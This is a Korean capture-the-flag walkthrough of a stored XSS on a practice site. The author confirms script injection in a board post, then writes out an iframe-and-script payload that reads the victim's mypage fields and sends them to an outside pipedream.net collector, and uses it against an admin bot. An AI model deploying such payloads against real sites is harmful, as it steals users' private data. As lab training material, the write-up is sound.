마이페이지에 flag가 있다하니 마이페이지 먼저 들어가보자.
파라미터 user를 전달하고 있어서 다른 입력값을 넣어봤다.
입력값이 어디서도 뜨지 않고 있다.
그럼 게시판에 가보자.
특수문자 삽입가능 여부 확인 위해 test<'"> 입력
posting_contents 에서는 HTML Entity 표현으로 바뀌지 않고 있다.
스크립트 작동여부 확인 위해 alert(1)부터 출력해보자.
작성 후 해당 게시물 클릭
XSS 포인트 확인!
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="targetFrame"></iframe>
셋 중 하나에 플래그가 있을 것이다.
어디에 있을지 모르니 input name = id 부터 가져와 보자.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="targetFrame"></iframe>
<script>
var targetTag = document.getElementById('targetFrame');
targetTag.onload = function() {
var DOMData = targetTag.contentDocument;
alert(DOMData.getElementsByName('id')[0].placeholder);
};
</script>
원하는 정보가 뜨니 공격자 서버로 보내본다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="targetFrame"></iframe>
<script>
var targetTag = document.getElementById('targetFrame');
targetTag.onload = function() {
var DOMData = targetTag.contentDocument;
var secretData= DOMData.getElementsByName('id')[0].placeholder;
var i =new Image();
i.src=`https://en2hyoic3j7mi.x.pipedream.net/?SecretData=${secretData}`
};
</script>
게시물을 클릭하니 내가 원하는 정보가 공격자 서버로 보내진다.
해당 URL을 관리자 봇에 보내보자.
값이 안넘어온다. 그럼 input name = info 정보를 가져와보자.
두번째 input의 정보가 넘어온다.
해당 URL을 관리자 봇에게 보내자.
관리자 정보 탈취 완료!